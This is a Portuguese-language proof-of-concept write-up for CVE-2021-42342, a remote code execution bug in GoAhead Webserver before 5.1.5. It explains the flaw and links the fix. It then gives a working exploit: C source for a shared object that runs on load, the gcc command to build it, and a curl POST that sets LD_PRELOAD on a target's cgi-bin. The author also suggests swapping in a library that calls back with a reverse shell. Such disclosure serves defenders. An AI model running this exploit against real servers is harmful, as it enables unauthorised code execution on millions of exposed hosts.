
Um pequeno PoC para o RCE recente encontrado no Goahead Webserver anterior à versão 5.1.5.
Um bug recente no Goahead Webserver foi descoberto por William Bowling, que leva a RCE no servidor explorado.
O problema existe antes da versão 5.1.5 que, de acordo com a Shodan, cobre cerca de 2,8 milhões de servidores na internet.
Um CVS está disponível agora [https://nvd.nist.gov/vuln/detail/CVE-2021-42342]
O RCE é causado pelo fato de que, se o filtro de upload de arquivos estiver habilitado, o usuário pode enviar arquivos e ao mesmo tempo definir variáveis de formulário do usuário.
Essas variáveis acabam se tornando variáveis de ambiente do SO. Normalmente isso não é um problema, pois em casos normais de upload de formulário, as variáveis de ambiente recebem o prefixo CGI_ (padrão). No entanto, se o filtro de upload de arquivos estiver habilitado, um erro no código faz com que esse prefixo seja omitido = RCE instantâneo via variáveis de ambiente + arquivo.
O código a seguir apenas imprimirá "Hellow World" no servidor remoto, mas poderia ser qualquer coisa, na verdade:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello World!\n", 14);
}
Compile com:
gcc -fPIC -shared -o poc.so poc.c -nostartfiles
Agora estamos prontos para enviar nosso arquivo para o servidor. Isso pode ser feito usando o curl:
curl -X POST http://[TARGET]/cgi-bin/ -F "LD_PRELOAD=/proc/self/fd/0" -F file='@poc.so;encoder=base64'
altere [TARGET] para o domínio/IP do servidor de destino.
Você provavelmente verá um erro do servidor, mas tente com outro objeto compartilhado que, por exemplo, faça um callback para você com um shell legal 👍
Uma correção foi lançada com o goahead 5.1.5 aqui: [https://github.com/embedthis/goahead/issues/305]
O problema foi inicialmente encontrado por Willian Bowling, do time Perfect Blue CTF. Durante o pbCTF 2021, um desafio era a versão existente na época (5.1.4) do servidor goahead e, juntamente com o Kalmarunionen CTF Team, encontramos o mesmo problema 0day no código (ainda não divulgado aos autores).